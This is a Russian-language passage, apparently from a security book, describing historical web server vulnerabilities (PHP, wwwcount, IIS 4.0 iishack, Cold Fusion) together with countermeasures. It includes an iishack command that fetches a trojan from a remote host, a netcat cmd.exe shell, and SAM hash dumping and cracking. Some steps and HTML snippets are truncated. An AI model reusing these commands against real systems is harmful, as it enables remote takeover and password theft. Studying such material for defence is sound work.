Переполнение буфера Многие годы проблемы, связанные с переполнением буфера, были серьезным недостатком системы защиты системы UNIX. После появления в 1995 году статьи How to write buffer overflow в мире UNIX многое переменилось. В классической статье Алефа Вана (Aleph One) Smashing the stack for fun and profit, впервые опубликованной в журнале Phrack Magazine в 1996 году, подробно описано, насколько просто добиться переполнения буфера. Изъян РНР В сценариях РНР имеется два (а возможно и больше) изъянов. Один из них является обычной проблемой отсутствия проверки ввода, ставшей бедствием для многих разрабатываемых ранее сценариев. С использованием этого изъяна взломщики могли просмотреть любой файл целевой системы. Контрмеры против использования изъяновРНР Обеспечить защиту можно двумя способами:
Изъян wwwcount.cgi Программа wwwcount является популярным счетчиком Web. Впервые о ее изъяне и его применении стало известно в 1997 году. Этот изъян позволяет взломщик)' удаленно выполнять любой код на локальной системе. Широкой общественности по крайней мере стало известны два примера использования этого изъяна, однако в обоих случаях происходило в основном одно и то же: "захват" взломщиком окна xterm. Контрмеры против использования nsbflHawwwcount Предотвратить использование изъяна программы wwwcount можно двумя способами:
Изъян iishack сервера IIS 4.0 В июне 1999 года широкой общественности стало известно о досадной ошибке в системе защиты сервера IIS 4.0, которая оказалась серьезной угрозой безопасности Web-сервера компании Microsoft. Этот изъян был обнаружен группой экспертов по вопросам безопасности еЕуе, которая поместила в Internet исходный код и исполняемый файл, с помощью которого можно осуществить взлом. Источником проблемы является недостаточная проверка границ имен файлов .НТК, .STM и .юс, содержащихся в адресах URL. Это позволяет взломщику поместить в этот адрес код, который будет загружен на целевую систему и выполнен с правами администратора. C:\nt\>iishack 10.12.24.2 80 172.29.11.101/getem.exe Созданная авторами простая программа типа "троянский конь" getem.exe, распаковывает утилиту pwdump.exe (позволяющую получить дамп хеш-кодов базы данных SAM), запускает утилиту netcat, настроенную на прослушивание порта 25, и возвращает обратно командную оболочку (nc -nw -L -р 25 -t -e cmd.exe). После успешного выполнения всех этих действий на собственном компьютере можно запустить утилиту netcat, получив таким образом в свое распоряжение командную оболочку и локальный доступ с привилегиями учетной записи SYSTEM (т.е. с правами администратора): C:\>nc -nw 10.11.1.1 26 С помощью простых команд копирования и вставки, применяемых в командной строке, а также программы LOphtCrack, которая используется для взлома хеш-кодов, можно получить в свое распоряжение пароль администратора (и любого другого пользователя системы). Контрмеры против изъянов US 4.0 Сначала компания Microsoft разработала комплекс рекомендаций для устранения этой проблемы, а затем выпустила модуль обновления. Группа экспертов eEye выпустила свой собственный модуль обновления, однако всегда рекомендуется использовать средства от производителя. Изъян переполнения полей У читателя может возникнуть вопрос, "Действительно ли можно взломать Web-сервер, пользуясь только Web-броузером?" На этот вопрос можно ответить вполне определенно: "ДА". Программисты в Web в первую очередь заботятся о производительности, отодвигая вопросы безопасности на второй план. Лучше всего это видно на примере ошибки, возникающей при переполнении буфера на сервере Cold Fusion, которая была обнаружена группой Foundstone. Проблема заключается в том, каким образом компания Allaire реализовала проверку достоверности входных данных, которые вводятся в поле пароля администратора. Пользуясь недостаточно полной очисткой этого поля, взломщик с помощью одного броузера может практически полностью вывести Web-сервер из строя. Вот как это можно сделать. 1. Введите в броузере адрес страницы регистрации администратора в системе на типичном сервере Cold Fusion: <form 4. Измените дескриптор HTML с именем PasswordProvided, который содержит пароль, а затем измените свойства size и MAXLENGTH: <input Name="PasswordProvided" 5. Щелкните на кнопке Preview, расположенной на панели инструментов Netscape, и сохраните этот файл в формате HTML.
На приведенном рисунке можно увидеть, что выполненные выше действия привели к подъему использования процессора сервера до 100%. Если подобные запросы продолжают поступать то, в конце концов, произойдет переполнение памяти. Более того, если на сервер отправить больше миллиарда символов, это окончательно выведет его из строя. В любом случае, для выяснения причины сбоя придется перезагружать систему.
Контрмеры Единственным эффективным решением проблемы подобного рода является использование в каждой разрабатываемой программе процедуры очистки входных данных. В рассмотренном случае можно переместить страницу администратора в какой-то другой каталог или выполнить рекомендации по обеспечению безопасности сервера Cold Fusion, которые можно найти по адресу http://www.allaire.com/Handlers/index. cfm?ID=10954&Method=Full. |